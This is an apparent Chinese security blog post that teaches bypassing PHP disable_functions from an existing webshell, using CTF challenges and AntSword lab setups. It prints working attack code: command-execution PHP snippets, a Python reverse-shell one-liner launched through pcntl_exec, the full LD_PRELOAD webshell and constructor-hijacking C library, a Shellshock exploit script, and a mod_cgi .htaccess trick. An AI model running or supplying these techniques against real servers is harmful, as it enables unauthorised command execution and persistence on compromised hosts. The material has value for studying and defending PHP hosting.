绕过disable_function

PHP disable_functions

disable_functions是php.ini中的一个设置选项,相当于一个黑名单,可以用来设置PHP环境禁止某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数,如eval、exec、system等,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable_functions的设置中也通常较为严格。

当我们辛辛苦苦拿到的webshell无法执行系统命令

就要考虑是disable_function的问题,查看phpinfo发现设置了disalbe_functions

常规绕过(黑名单绕过)

即便是通过disable functions限制危险函数,也可能会有限制不全的情况。如果运维人员安全意识不强或对PHP不甚了解的话,则很有可能忽略某些危险函数,常见的有以下几种

exec()

1
2
3
<?php
echo exec('whoami');
?>

shell_exec()

1
2
3
<?php
echo shell_exec('whoami');
?>

system()

1
2
3
<?php 
system('whoami');
?>

passthru()

1
2
3
<?php 
passthru('whoami');
?>

popen()

1
2
3
4
5
6
7
8
<?php
$command=$_POST['cmd'];
$handle = popen($command,"r");
while(!feof($handle)){
echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);
?>

proc_open()

1
2
3
4
5
6
7
8
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])){
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>

还有一个比较常见的易被忽略的函数就是pcntl_exec

利用pcntl_exec

使用条件:
PHP安装并启用了pcntl插件
pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。
利用pcntl_exec()执行test.sh

1
2
3
4
5
6
7
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell

1
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("0.0.0.0",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

利用LD_PRELOAD环境变量

原理简述

LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的攻击目的。

我们通过环境变量LD_PRELOAD劫持系统函数,可以达到不调用PHP的各种命令执行函数(system()、exec()等等)仍可执行系统命令的目的。

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点

  • 能够上传自己的.so文件
  • 能够控制LD_PRELOAD环境变量的值,比如putenv()函数
  • 因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等
  • 貌似还需要系统支持c环境,这个不太确定

一般而言,利用漏洞控制web启动新进程a.bin(即便进程名无法让我随意指定),新进程a.bin内部调用系统函数b(),b()位于系统共享对象c.so中,所以系统为该进程加载共享对象c.so,想办法在加载c.so前优先加载可控的c_evil.so,c_evil.so内含与b()同名的恶意函数,由于c_evil.so优先级较高,所以,a.bin将调用到c_evil.so内的b()而非系统的c.so内b(),同时,c_evil.so可控,达到执行恶意代码的目的,基于这一思路,常见突破disable_functions限制执行操作系统命令的方式为:

  • 编写一个原型为uid_t getuid(void);的c函数,内部执行攻击者指定的代码,并编译成共享对象getuid_shadow.so

  • 运行PHP函数putenv()(用来配置系统环境变量),设定环境变量LD_PRELOAD为getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;

  • 运行PHP的mail()函数,mail()内部启动新进程/usr/sbin/sendmail,由于上一步LD_PRELOAD的作用,sendmail调用的系统函数getuid()被优先级更好的getuid_shadow.so中的同名getuid()所劫持;以此来达到不调用PHP的各种命令执行函数(system()、exec()等)仍可以执行系统命令的目的。

之所以劫持getuid(),是因为sendmail程序会调用该函数(当然也可以为其它被调用的系统函数),在真实环境中,存在两方面问题:

  • 一是:某些环境中,web禁止启用sendmail、甚至系统上根本未安装sendmail,也就谈不上劫持getuid(),通常的www-data权限又不可能去更改php.ini配置、去安装sendmail软件;

  • 二是:即便目标可以启用sendmail,由于未将主机名(hostname输出)添加进hosts中,导致每次运行sendmail都要耗时半分钟等待域名解析超时返回,www-data也无法将主机名加入hosts(如,127.0.0.1 lamp、lamp、lamp.com)。

基于这两个原因,yangyangwithgnu大佬找到一个方式,在加载时就执行代码(拦截启动进程),而不用考虑劫持某一系统函数,那我就完全可以不依赖sendmail了,详情参见
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

利用方法

下面,我们通过[GKCTF2020]CheckIN 这道题来演示利用LD_PRELOAD来突破disable_functions的具体方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();


构造如下拿到shell

1
2
/?Ginkgo=ZXZhbCgkX1BPU1Rbd2hvYW1pXSk7
# eval($_POST[whoami]);

但是无法执行命令

怀疑是设置了disable_functions,查看phpinfo发现设置了disalbe_functions

1
2
/?Ginkgo=cGhwaW5mbygpOw==
# 即phpinfo();

发现确实设置了disable_functions

下面尝试绕过
需要去yangyangwithgnu大佬的github上下载该项目的利用文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
本题中有这几个关键文件

  • bypass_disablefunc.php:一个用来执行命令的webshell
  • bypass_disablefunc_x64.so或x86.so:执行命令的共享对象文件,分为64位的和32位的。
  • bypass_disablefunc.c:用来编译生成上面的共享对象文件。

首先分析bypass_disablefunc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

对于bypass_disablefunc.php,权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含,并且需要用GET方法提供三个参数:

  • cmd命令:待执行的系统命令,如id命令。
  • outpath参数:保存命令执行输出结果的文件路径(如/tmp/xx),便于在页面上显示,另外该参数,你应注意web是否有读写权限、web是否可跨目录访问、文件将覆盖和删除几点。
  • sopath参数:指定劫持系统函数的共享对象的绝对路径(如/var/www/bypass_disablefunc_x64.so),另外关于该参数,应注意web是否可跨目录访问到它。
1
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
  • eval_cmdline 拼接了cmd和outpath参数,使得命令的输出被重定向到指定的文件$out_path中
  • 2>&1 将标准错误重定向到标准输出,因此$out_path中会同时包含标准输出和标准错误信息。
    实例
    假设 cmd=pwd,outpath=/tmp/xx,则 evil_cmdline 将是 pwd > /tmp/xx 2>&1,可以将当前目录路径写入 /tmp/xx 文件。
    然后下面是设置环境变量,以配合下面的bypass_disablefunc.c
1
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

读取我们打印我们命令结果的文件,并输出到页面上

再来分析bypass_disablefunc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

详细代码解读

1
const char* cmdline = getenv("EVIL_CMDLINE");
  • getenv(“EVIL_CMDLINE”) 从环境变量中获取名为EVIL_CMDLINE的值,并将其存储在指针cmdline中。如果EVIL_CMDLINE已被设置,cmdline将指向其中包含的命令字符串。

  • EVIL_CMDLINE环境变量可有攻击者在运行此共享库的进程之前预先设置,从而通过该变量传递任意命令。

EVIL_CMDLINE正是由上面的php写入的

1
2
3
4
5
6
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
  • environ 是一个全局变量的数组,包含所有环境变量的指针。在大多数Linux系统上,environ会自动包含进程的所有环境变量
  • 该循环遍历environ数组中的每一个字符串,检查是否包含”LD_PRELOAD”。
  • strstr(environ[i], “LD_PRELOAD”) 用于在每一个环境变量中查找是否包含LD_PRELOAD。如果找到,执行environ[i][0]=’\0’;将该字符串的首字符设为\0(空字符),从而清空这一环境变量。
  • 这样做的目的是隐藏LD_PRELOAD变量,因为某些系统或程序可能会检测此环境变量的存在,将其移除后可以避免被发现。

然后system执行cmdline命令

  • system是标准C库函数,用于执行命令。他会创建一个新的shell来执行cmdline中的内容。
  • 由于这里的cmdline是从环境变量EVIL_CMDLINE中获取的,攻击者可以通过设置EVIL_CMDLINE环境变量,在目标进程加载共享库是执行任意命令。
  • 这个命令的执行权限与运行此共享库的进程相同,意味着如果目标进程是以管理员权限运行的,这个命令也将以管理员权限执行,带来潜在的严重风险。

刚开始分析的时候还傻傻的反编译.so文件,so文件就是由上面的bypass_disalbefunc.c编译生成的
生成命令

1
gcc bypass_disablefunc.c -fpic -shared -o bypass_disablefunc.so
  • -fPIC:生成与位置无关的代码,这是创建共享库所需的。
  • -shared:指示编译器生成一个共享库。
  • -o xx:指定输出文件名为 xx。

接下来就是操作了
首先,想办法将bypass_disablefunc.php和bypass_disablefunc.so传到有权限的目录中。

然后将bypass_disalbefunc.php包含进来并使用GET方法提供所需的三个参数

1
?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCIpOw==&cmd=id&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc.so


如图所示,成功执行命令

蚁剑有该绕过disable_functions的插件


可以看见我们植入的恶意环境变量,但是在蚁剑中却看不到,因为语句结束后已经删除了

利用ShellShock(CVE-2014-6271)

使用条件:

  • Linux操作系统
  • putenv()、mail()或error_log()函数可用
  • 目标系统的/bin/bash存在CVE-2014-6271漏洞
  • /bin/sh ->/bin/bash 默认的shell是bash

原理简述:

该方法利用的bash中的一个老漏洞,即Bash Shellshock 破壳漏洞(CVE-2014-6271)。
该漏洞的原因是Bash使用的环境变量是通过函数名称来调用的,导致该漏洞出现是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令,而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

一般函数体内的代码不会被执行,但破壳漏洞会错误的将”{}”花括号外的命令进行执行。PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。

利用方法

我们利用AntSword-Labs项目来搭建环境:

  • git clone https://github.com/AntSwordProject/AntSword-Labs.git
  • cd AntSword-Labs/bypass_disable_functions/2
  • docker-compose up -d

    搭建完成后访问127.0.0.1:18080,尝试使用system函数执行命令失败

    查看phpinfo发现设置了disable_functions:

    我们使用蚁剑拿下shell

    AntSword虚拟终端中已经集成了对ShellShock的利用,直接在虚拟终端执行命令即可绕过disable_functions
    也可以选择手动利用。在有权限的目录中(/var/tmp/exploit.php)上传以下利用脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php 
    # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
    # Google Dork: none
    # Date: 10/31/2014
    # Exploit Author: Ryan King (Starfall)
    # Vendor Homepage: http://php.net
    # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
    # Version: 5.* (tested on 5.6.2)
    # Tested on: Debian 7 and CentOS 5 and 6
    # CVE: CVE-2014-6271

    function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
    $tmp = tempnam(".","data");
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    // In Safe Mode, the user may only alter environment variableswhose names
    // begin with the prefixes supplied by this directive.
    // By default, users will only be able to set environment variablesthat
    // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
    // PHP will let the user modify ANY environment variable!
    //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
    error_log('a',1);
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output != "") return $output;
    else return "No output, or not vuln.";
    }
    echo shellshock($_REQUEST["cmd"]);
    ?>

    然后包含该脚本并传参执行命令即可

检测是否有漏洞

运行命令检查版本

1
bash --version

查看版本是否受漏洞影响(例如 Bash 4.3.27 Patch 27 及以上)。

此版本易受shellshock漏洞影响

可以通过以下命令检查系统是否易受Shellshock漏洞的影响
测试

1
env x='() { :;}; echo vulnerable' bash -c "echo test"

  • 如果输出vulnerable,则你的Bash 是易受攻击的。
  • 如果没有输出vulnerable(例如只显示test或报错),则已修复。
    上图所示,则bash存在漏洞

利用Apache Mod CGI

使用条件:

  • Linux操作系统
  • Apache+PHP(apache使用apache_mod_php)
  • Apache 开启了cgi、rewrite
  • Web目录给了AllowOverride权限
  • 当前目录可写

原理简述

早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行在其上的应用程序进行”交流”的一种约定。

当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省的重新Fork一个进程,效率提高了。

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

Apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下

1
2
Options +ExecCGI
AddHandler cgi-script .xxx

这样便会将当前目录下的所有.xxx文件当作CGI程序执行了。
由于CGI程序可以执行命令,那我们可以利用CGI来执行系统命令绕过disable_functions。

利用方法

我们利用AntSword-Labs项目来搭建环境


搭建完成后访问127.0.0.1:18080

用蚁剑拿到shell后无法执行命令

执行phpinfo发现设置了disable_functions

并且在Loaded Modules中发现了mod_cgi,这代表主机Apache开启了CGI模块,Web目录下有写入的权限。
我们首先在当前目录创建.htaccess文件,写入如下

1
2
Options +ExecCGI
AddHandler cgi-script .ant


然后新建shell.ant文件,写入要执行的命令

1
2
3
4
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id



这里我们的shell.xxx还不能执行,因为还没有权限,我们使用php的chmod()函数给其添加可执行权限


这里我们访问,按理说应该会直接出现执行命令的结果,但是出现了500错误
因为linux的CGI比较严格,上传后可能会发现状态码500,无法解析我们bash文件。因为我们的目标站点是linux环境,如果我们用(windows等)本地编译器编写上传时编码不一致导致无法解析,所以我们可以在linux环境中编写并导出再上传。

在linux编译shell.ant后重复上述操作

当然蚁剑也有绕过该disable_functions的插件
De1CTF2020 check in这道题利用的便是这个思路,常见于文件上传中


绕过disable_function
http://example.com/2024/11/14/disable_function_bypass/
作者
奇怪的奇怪
发布于
2024年11月14日
许可协议